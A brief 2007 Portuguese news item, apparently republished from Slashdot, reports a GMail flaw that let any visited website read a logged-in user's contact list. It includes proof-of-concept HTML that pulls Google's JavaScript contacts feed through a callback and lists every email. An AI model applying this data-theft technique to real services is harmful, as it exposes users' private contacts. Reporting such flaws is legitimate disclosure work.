|
Lista de contatos do GMail vulnerável |
|
|
|
Por Andre
|
|
02 de janeiro de 2007 |
|
Simplesmente estando logado no GMail e visitando um Web site
com um código malicioso, sua lista do contato pode ser roubada assim como todos seus detalhes. O
problema ocorre porque o Google armazena os dados da lista de contatos em
um arquivo Javascript. O ataque foi testado nos browsers Firefox, Opera, IE6 e IE 7.
/---code----
<html>
<head>
<script>
function google(a) {
document.write("<ol>");
for (i = 0; i < a.Body.Contacts.length; i++) {
document.write("<li>" + a.Body.Contacts[i].Email + "</li>");
}
document.write("</ol>");
}
</script>
<script xsrc="http://docs.google.com/data/contacts?out=js&s how=ALL&psort=Affinity&callback=google&max=99999"> </script></head>
<body>
Hello
</body>
</html>
---/
Fonte: slashdot.org
|
